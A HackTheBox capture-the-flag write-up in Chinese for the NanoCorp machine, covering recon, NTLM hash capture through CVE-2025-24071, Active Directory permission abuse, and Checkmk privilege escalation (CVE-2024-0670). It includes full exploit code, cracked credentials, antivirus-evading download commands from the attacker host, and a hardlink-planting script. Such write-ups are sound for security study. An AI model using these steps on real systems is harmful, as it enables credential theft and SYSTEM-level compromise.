Season9 - NanoCorp

https://app.hackthebox.com/machines/NanoCorp

Recon

PortScan

➜ nmap -sT -min-rate 10000 -p- 10.10.11.93   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 16:24 CST
Nmap scan report for 10.10.11.93
Host is up (0.048s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
49664/tcp open  unknown
49668/tcp open  unknown
57330/tcp open  unknown
57335/tcp open  unknown
57361/tcp open  unknown
65042/tcp open  unknown

➜ nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 10.10.11.93
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-11 16:25 CST
Stats: 0:01:07 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 91.96% done; ETC: 16:27 (0:00:00 remaining)
Nmap scan report for 10.10.11.93
Host is up (0.55s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://nanocorp.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-11 14:57:55Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
5986/tcp open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open  mc-nmf        .NET Message Framing
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2025-11-11T14:58:16
|_  start_date: N/A
|_clock-skew: 6h31m49s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   758.68 ms 10.10.14.1
2   758.91 ms 10.10.11.93

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.94 seconds

枚举

80 端口

目录扫描

➜ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x text,zip -u http://nanocorp.htb/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nanocorp.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              text,zip
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 334] [--> http://nanocorp.htb/img/]
/css                  (Status: 301) [Size: 334] [--> http://nanocorp.htb/css/]
/js                   (Status: 301) [Size: 333] [--> http://nanocorp.htb/js/]
/examples             (Status: 503) [Size: 401]
/licenses             (Status: 403) [Size: 420]
/%20                  (Status: 403) [Size: 301]
/IMG                  (Status: 301) [Size: 334] [--> http://nanocorp.htb/IMG/]

主站是看着没有什么的，尝试一下爆一下子域名

➜ ffuf -u 'http://nanocorp.htb/' -H 'host:FUZZ.nanocorp.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fc 301

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nanocorp.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.nanocorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

:: Progress: [114442/114442] :: Job [1/1] :: 840 req/sec :: Duration: [0:02:37] :: Errors: 0 ::

换个字典，爆破到存在 hire 子域名

➜ ffuf -u 'http://nanocorp.htb/' -H 'host:FUZZ.nanocorp.htb' -w /usr/share/wordlists/fuzzDicts/subdomainDicts/dic1.txt -fc 301 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nanocorp.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/fuzzDicts/subdomainDicts/dic1.txt
 :: Header           : Host: FUZZ.nanocorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

hire                    [Status: 200, Size: 2520, Words: 646, Lines: 68, Duration: 71ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

CVE-2025-24071

将 hire.nanocorp.htb 添加到 /etc/hosts ，然后访问

能上传 zip 文件，上传后提示我们提取成功，并会回复我们

这让我想起 ZipSlip

随后我在文件上传功能中测试了很多，但都是没有效果

或者漏洞并不存在于 web 中，而是存在 windows 中

我通过搜索引擎搜索中能找到很多关于 winzip 或者 2025-24071 的漏洞

winzip 的漏洞没有提供 POC，而且报告比较含糊，而 CVE-2025-24071 有，所以这里索性尝试下

NSFOCUS CERT 检测到微软近期发布了一项安全更新，旨在修复 Windows 文件资源管理器中的一个严重欺骗漏洞，该漏洞编号为 CVE-2025-24071 。此漏洞的 CVSS 评分为 7.5，表明其严重性较高。该问题源于 Windows 资源管理器中 .library-ms 文件的隐式信任和自动文件解析行为。未经身份验证的攻击者可以通过构建包含恶意 SMB 路径的 RAR/ZIP 文件来利用此漏洞。解压缩后，这将触发 SMB 身份验证请求，从而可能暴露用户的 NTLM 哈希值。目前，针对此漏洞的概念验证 (PoC) 攻击代码已公开，因此该漏洞构成当前威胁。强烈建议受影响的用户立即应用此补丁以降低风险。

生成 exploit.zip

➜  CVE-2025-24071 git:(main) ✗ python exploit.py -i <your-i -f exploit

          ______ ____    ____  _______       ___     ___    ___    _____        ___    _  _      ___    ______   __  
         /      |\   \  /   / |   ____|     |__ \   / _ \  |__ \  | ____|      |__ \  | || |    / _ \  |____  | /_ | 
        |  ,----' \   \/   /  |  |__    ______ ) | | | | |    ) | | |__    ______ ) | | || |_  | | | |     / /   | | 
        |  |       \      /   |   __|  |______/ /  | | | |   / /  |___ \  |______/ /  |__   _| | | | |    / /    | | 
        |  `----.   \    /    |  |____       / /_  | |_| |  / /_   ___) |       / /_     | |   | |_| |   / /     | | 
         \______|    \__/     |_______|     |____|  \___/  |____| |____/       |____|    |_|    \___/   /_/      |_| 
                                                
                                                
                                                Windows File Explorer Spoofing Vulnerability (CVE-2025-24071)
                    by ThemeHackers
    
Creating exploit with filename: exploit.library-ms
Target IP: <your-ip>

Generating library file...
✓ Library file created successfully

Creating ZIP archive...
✓ ZIP file created successfully

Cleaning up temporary files...
✓ Cleanup completed

Process completed successfully!
Output file: exploit.zip
Run this file on the victim machine and you will see the effects of the vulnerability such as using ftp smb to send files etc.

responder 监听

➜ responder -I tun0

然后上传刚刚生成 exploit.zip

过了一会 responder 就能抓到了

通过 hashcat 进行爆破

➜ hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt

得到密码 dksehdgh712!@#

测试凭据

➜ nxc smb 10.10.11.93 -u 'WEB_SVC' -p 'dksehdgh712!@#'                                     
SMB         10.10.11.93     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.93     445    DC01             [+] nanocorp.htb\WEB_SVC:dksehdgh712!@#

➜ nxc winrm 10.10.11.93 -u 'WEB_SVC' -p 'dksehdgh712!@#'                                 
WINRM-SSL   10.10.11.93     5986   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb)
  arc4 = algorithms.ARC4(self._key)
WINRM-SSL   10.10.11.93     5986   DC01             [-] nanocorp.htb\WEB_SVC:dksehdgh712!@#

横向移动

路径探寻

上寻血猎犬

这里的需要设置一下 dns-timeout ，我这里总是会超时

➜ bloodhound-python -d nanocorp.htb -u 'WEB_SVC' -p 'dksehdgh712!@#' -dc dc01.nanocorp.htb -ns 10.10.11.93 -c all --zip --dns-timeout 1000

能给自己添加到 IT_SUPPORT ，并且 IT_SUPPORT 可以修改 MONITORING_SVC 的密码

Got MONITORING_SVC shell

这些操作都可以通过 bloodyAD 来完成

# 添加组操作
➜ bloodyad -d 'nanocorp.htb' -u 'WEB_SVC' -p 'dksehdgh712!@#' -i 10.10.11.93 add groupMember IT_SUPPORT WEB_SVC
[+] WEB_SVC added to IT_SUPPORT

# 强制修改密码
➜ bloodyad -d 'nanocorp.htb' -u 'WEB_SVC' -p 'dksehdgh712!@#' -i 10.10.11.93 set password MONITORING_SVC Admin@123
[+] Password changed successfully!

完成后测试凭据，发现提示 STATUS_ACCOUNT_RESTRICTION

nxc smb 10.10.11.93 -u 'MONITORING_SVC' -p 'Admin@123'

查看一下用户 MONITORING_SVC 所属组，发现其是 Protected Users 组成员

➜ bloodyad -d 'nanocorp.htb' -u 'WEB_SVC' -p 'dksehdgh712!@#' -i 10.10.11.93 get membership 'CN=MONITORING_SVC,OU=AD_MONITORING,DC=NANOCORP,DC=HTB'

distinguishedName: CN=Users,CN=Builtin,DC=nanocorp,DC=htb
objectSid: S-1-5-32-545
sAMAccountName: Users

distinguishedName: CN=Remote Management Users,CN=Builtin,DC=nanocorp,DC=htb
objectSid: S-1-5-32-580
sAMAccountName: Remote Management Users

distinguishedName: CN=Domain Users,CN=Users,DC=nanocorp,DC=htb
objectSid: S-1-5-21-2261381271-1331810270-697239744-513
sAMAccountName: Domain Users

distinguishedName: CN=Protected Users,CN=Users,DC=nanocorp,DC=htb
objectSid: S-1-5-21-2261381271-1331810270-697239744-525
sAMAccountName: Protected Users

一般可以通过 Kerberos 验证即可

➜ getTGT.py nanocorp.htb/MONITORING_SVC:'Admin@123' 
  import pkg_resources
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in MONITORING_SVC.ccache

➜ export KRB5CCNAME=MONITORING_SVC.ccache

还需要生成 krb5.conf

➜ nxc smb 10.10.11.93 -u 'WEB_SVC' -p 'dksehdgh712!@#' --generate-krb5-file /etc/krb5.conf
SMB         10.10.11.93     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.93     445    DC01             [+] nanocorp.htb\WEB_SVC:dksehdgh712!@#

再次测试凭据，这次可以正常了

➜ nxc smb 10.10.11.93 -k --use-kcache          
SMB         10.10.11.93     445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False) 
SMB         10.10.11.93     445    DC01             [+] NANOCORP.HTB\MONITORING_SVC from ccache

evil-winrm 一直连不上，这里换成 winrmexec

➜ python winrmexec/winrmexec.py -dc-ip 10.10.11.93 nanocorp.htb/MONITORING_SVC:'Admin@123'@dc01.nanocorp.htb -k -ssl -port 5986

能读取 user.txt

Got Root.txt via CVE-2024-0670

枚举可写对象

➜  NanoCorp bloodyad -d 'nanocorp.htb' -i 10.10.11.93 -H dc01.nanocorp.htb -k get writable

distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=nanocorp,DC=htb
permission: WRITE

distinguishedName: CN=monitoring_svc,OU=AD_Monitoring,DC=nanocorp,DC=htb
permission: WRITE

上传 winpeas64 ，certutil 被杀毒拦了

PS C:\tools> certutil -urlcache -split -f http://<your-ip>/winpeas64.exe
At line:1 char:1
+ certutil -urlcache -split -f http://<your-ip>/winpeas64.exe
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.

但是可以通过 webclient 来上传

$p=new-object system.net.webclient;$p.downloadfile('http://<your-ip>/winpeas64.exe','C:\tools\winpeas64.exe')

能找到一些有趣的信息，一个前面没有扫描出来的端口 6556

重新扫描一下 6556 端口，该端口状态为 filtered ，服务是 checkmk-agent

➜  NanoCorp nmap -p6556 nanocorp.htb -vv                        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-13 02:07 CST
Initiating Ping Scan at 02:07
Scanning nanocorp.htb (10.10.11.93) [4 ports]
Completed Ping Scan at 02:07, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:07
Scanning nanocorp.htb (10.10.11.93) [1 port]
Completed SYN Stealth Scan at 02:07, 0.44s elapsed (1 total ports)
Nmap scan report for nanocorp.htb (10.10.11.93)
Host is up, received echo-reply ttl 127 (0.041s latency).
Scanned at 2025-11-13 02:07:04 CST for 1s

PORT     STATE    SERVICE       REASON
6556/tcp filtered checkmk-agent no-response

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.66 seconds
           Raw packets sent: 6 (240B) | Rcvd: 1 (28B)

尝试寻找一下 checkmk 的漏洞

https://sec-consult.com/vulnerability-lab/advisory/local-privilege-escalation-via-writable-files-in-checkmk-agent/

改文章表示可以通过 checkmk 来进行本地权限执行，并且示范系统是 Window，漏洞编号是 CVE-2024-0670

通过分析，大概就是：在某些情况下，该软件会在 C:\Windows\Temp 目录下创建临时文件，这些文件随后会被执行。攻击者可以利用这一点，预先将受写保护的恶意文件放置到该目录中。这些文件会由 Checkmk 以 SYSTEM 权限执行，从而使攻击者能够提升其权限。

查看程序版本：

PS C:\> (Get-Item "C:\Program Files (x86)\checkmk\service\check_mk_agent.exe").VersionInfo

ProductVersion   FileVersion      FileName                                                                              
--------------   -----------      --------                                                                              
2.1.0p10         2.1.0.0          C:\Program Files (x86)\checkmk\service\check_mk_agent.exe

并没有在修复版本中，是存在漏洞的

用户 monitoring_svc 没有查看 Temp 文件夹的权限，尝试切换到 WEB_SVC 的 shell

WEB_SVC 是可以进行访问的
```
PS C:\tools> ./RunasCs.exe WEB_SVC 'dksehdgh712!@#' 'whoami'

nanocorp\web_svc

PS C:\tools> ./RunasCs.exe WEB_SVC 'dksehdgh712!@#' 'powershell.exe /c "ls C:\Windows\Temp -Filter"'
.......
```
本来想通过 MSF 弹 WEB_SVC 到 Kali 上，但是被杀毒干掉了

这里上传 nc 来弹

因为杀毒，所以就不创建弹 shell 的程序了，直接读 root.txt

脚本由 AI 生成

#include <stdio.h>    // For file operations (fopen, fread, fwrite, fclose, rename)
#include <stdlib.h>   // For exit()
#include <windows.h>  // For Windows-specific error handling (GetLastError, FormatMessageA)

// Buffer size, defined as 4KB. This is a common and efficient size for file I/O.
#define BUFFER_SIZE 4096 

// Error handling function remains unchanged, as it is very useful.
void print_error_message(const char* prefix) {
    DWORD errorCode = GetLastError();
    if (errorCode == 0) {
        // If there's no system error code, just print the custom message.
        printf("%s\n", prefix);
        return;
    }

    LPSTR messageBuffer = NULL;
    FormatMessageA(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, 
        errorCode, 
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
        (LPSTR)&messageBuffer, 
        0, 
        NULL
    );

    printf("%s: %s", prefix, messageBuffer);
    LocalFree(messageBuffer);
}

int main() {
    // Define source and destination file paths
    const char *sourcePath = "C:\\Users\\Administrator\\Desktop\\root.txt";
    const char *destPath = "C:\\tools\\sunset.txt";
    const char *backupPath = "C:\\tools\\sunset.txt.bak";

    FILE *sourceFile = NULL;
    FILE *destFile = NULL;
    FILE *checkFile = NULL;

    // --- NEW: Backup Logic ---
    // First, check if the destination file already exists.
    checkFile = fopen(destPath, "rb");
    if (checkFile != NULL) {
        // The file exists, so we must close it before trying to rename.
        fclose(checkFile);

        // Rename the existing destination file to create a backup.
        if (rename(destPath, backupPath) != 0) {
            print_error_message("Failed to create backup file");
            return 1; // Exit with an error
        }
        printf("Backup created at: %s\n", backupPath);
    }
    // If checkFile is NULL, it means the destination file doesn't exist, so we can just proceed.

    // 1. Open the source file (in binary read mode "rb")
    sourceFile = fopen(sourcePath, "rb");
    if (sourceFile == NULL) {
        print_error_message("Failed to open source file");
        return 1; // Abnormal program exit
    }

    // 2. Create and open the destination file (in binary write mode "wb")
    // "wb" mode will overwrite the file if it exists.
    destFile = fopen(destPath, "wb");
    if (destFile == NULL) {
        print_error_message("Failed to create destination file");
        fclose(sourceFile); // Ensure the successfully opened source file is closed before exiting
        return 1;
    }

    // 3. Loop to read and write, performing the file copy
    char buffer[BUFFER_SIZE];
    size_t bytesRead;

    // fread reads data from sourceFile into the buffer.
    // The loop continues as long as the number of bytes read (bytesRead) is greater than 0.
    while ((bytesRead = fread(buffer, 1, BUFFER_SIZE, sourceFile)) > 0) {
        // fwrite writes data from the buffer to destFile.
        // Check if the number of bytes written equals the number of bytes read.
        if (fwrite(buffer, 1, bytesRead, destFile) != bytesRead) {
            printf("An error occurred while writing to the destination file.\n");
            fclose(sourceFile);
            fclose(destFile);
            return 1;
        }
    }

    // Check if the loop ended because of a reading error
    if (ferror(sourceFile)) {
        printf("An error occurred while reading from the source file.\n");
    } else {
        // If there were no errors, the copy was successful
        printf("File successfully copied to: %s\n", destPath);
    }

    // 4. Cleanup: Close both files
    fclose(sourceFile);
    fclose(destFile);

    return 0; // Normal program exit
}

生成恶意程序

➜  x86_64-w64-mingw32-gcc root.c -o root.exe -lkernel32

因为需要强制 Checkmk 写入并执行这些临时文件

经观察，修复软件即可解决问题。可通过 Windows 图形用户界面或使用以下命令启动修复过程。

PS C:\tools> ls C:\Windows\Installer\

    Directory: C:\Windows\Installer

Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
d-----          4/2/2025   6:25 PM                {6070BE95-B84D-40FE-8ABD-C70B59F5A164}                                
d-----          4/5/2025   4:17 PM                {675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}                                
-a----         3/28/2025   3:08 PM       12637696 1e6f2.msi                                                             
-a----         5/10/2023   9:16 AM         184320 387c2.msi                                                             
-a----         5/10/2023   9:21 AM         184320 387c6.msi                                                             
-a----         5/10/2023   9:35 AM         192512 387ca.msi                                                             
-a----         5/10/2023   9:39 AM         192512 387ce.msi                                                             
-a----          4/2/2025   6:24 PM       60895232 387d1.msi                                                             
-a----          4/2/2025   6:24 PM          20480 SourceHash{0025DD72-A959-45B5-A0A3-7EFEB15A8050}                      
-a----          4/2/2025   6:25 PM          20480 SourceHash{6070BE95-B84D-40FE-8ABD-C70B59F5A164}                      
-a----          4/5/2025   4:17 PM          20480 SourceHash{675A6D5C-FF5A-11EF-AEA3-1967AD678D6D}                      
-a----          4/2/2025   6:24 PM          20480 SourceHash{73F77E4E-5A17-46E5-A5FC-8A061047725F}                      
-a----          4/2/2025   6:24 PM          20480 SourceHash{C2C59CAB-8766-4ABD-A8EF-1151A36C41E5}                      
-a----          4/2/2025   6:24 PM          20480 SourceHash{D5D19E2F-7189-42FE-8103-92CD1FA457C2}

经过测试 1e6f2.msi 是该文件

PS C:\> get-process | findstr check
get-process | findstr check
    234      15     3032      12792              5868   0 check_mk_agent
    
PS C:\> msiexec /fa C:\Windows\Installer\1e6f2.msi
msiexec /fa C:\Windows\Installer\1e6f2.msi

PS C:\> get-process | findstr check
get-process | findstr check
    236      15     3588      13236              6696   0 check_mk_agent

编写生成临时文件脚本，脚本由 AI 生成

<#
.SYNOPSIS
    The ultimate script for creating thousands of file entries without consuming disk space.

.DESCRIPTION
    This script uses Hard Links to create thousands of file pointers to a single source file.
    This method is extremely fast and consumes virtually no extra disk space, solving the
    critical issue of disk bloat from file copying.

    It runs in an infinite loop to ensure the files persist, includes a sleep interval to
    prevent 100% CPU usage, and is built for maximum performance and robustness.
#>

[CmdletBinding()]
param()

# --- Configuration ---
$sourceFile   = "C:\tools\root.exe"
$targetFolder = "C:\Windows\Temp"
$startRange   = 1000
$endRange     = 15000
$sleepSeconds = 5  # Interval in seconds between each full check.
# --- End of Configuration ---

# --- Initial Cleanup ---
Write-Host "Performing initial cleanup of target files..."
try {
    Get-ChildItem -Path "$targetFolder\cmk_all_*.cmd" | Remove-Item -Force
}
catch {
    Write-Warning "Could not perform initial cleanup. Error: $($_.Exception.Message)"
}

# --- Main Infinite Loop ---
while ($true) {
    Write-Host "Starting new Hard Link creation cycle at $(Get-Date)"

    if (-not (Test-Path -Path $sourceFile -PathType Leaf)) {
        Write-Error "CRITICAL: Source file '$sourceFile' not found. Sleeping for 60 seconds before retrying..."
        Start-Sleep -Seconds 60
        continue 
    }

    # --- High-Performance Hard Link Creation Loop ---
    for ($i = $startRange; $i -le $endRange; $i++) {
        $linkName = "$targetFolder\cmk_all_${i}_1.cmd"
        
        # If the link/file already exists, skip to the next one to save time.
        if (Test-Path -LiteralPath $linkName) {
            continue
        }
        
        try {
            # Use the native 'fsutil' command to create a hard link.
            # This is the fastest and most space-efficient method.
            # We use 'cmd /c' to properly execute fsutil and handle output.
            cmd /c fsutil hardlink create $linkName $sourceFile | Out-Null
        }
        catch {
            Write-Warning "Failed to create hard link for number $i. Error: $($_.Exception.Message)"
        }
    }
    
    # IMPORTANT NOTE about Read-Only property on Hard Links:
    # All hard links point to the SAME file data and metadata.
    # If you set one link to read-only, the original file and ALL other links
    # ALSO become read-only.
    # We set it once on the source file, and all links will inherit it.
    try {
        (Get-Item -LiteralPath $sourceFile).IsReadOnly = $true
    }
    catch {
        Write-Warning "Could not set read-only attribute on source file. Error: $($_.Exception.Message)"
    }

    Write-Host "Cycle finished. Sleeping for $sleepSeconds seconds..."
    Start-Sleep -Seconds $sleepSeconds
}

准备好后开始利用

来到 web_svc 的 shell

$p=new-object system.net.webclient;$p.downloadfile('http://<your-ip>/root.exe','C:\tools\root.exe')
$p=new-object system.net.webclient;$p.downloadfile('http://<your-ip>/sunset.ps1','C:\tools\sunset.ps1')

首先运行 sunset.ps1

C:\tools\sunset.ps1

执行完毕后再通过 msiexec 调用 1e6f2.msi

msiexec /fa C:\Windows\Installer\1e6f2.msi

最后应该就能看到文件了

总结

一开始漏洞有点难找，相关的玩意有点多。

最后的利用点也是，很难看到存在一个没扫描到的端口，并且还是利用点。

HackTheBox - Season9 - NanoCorp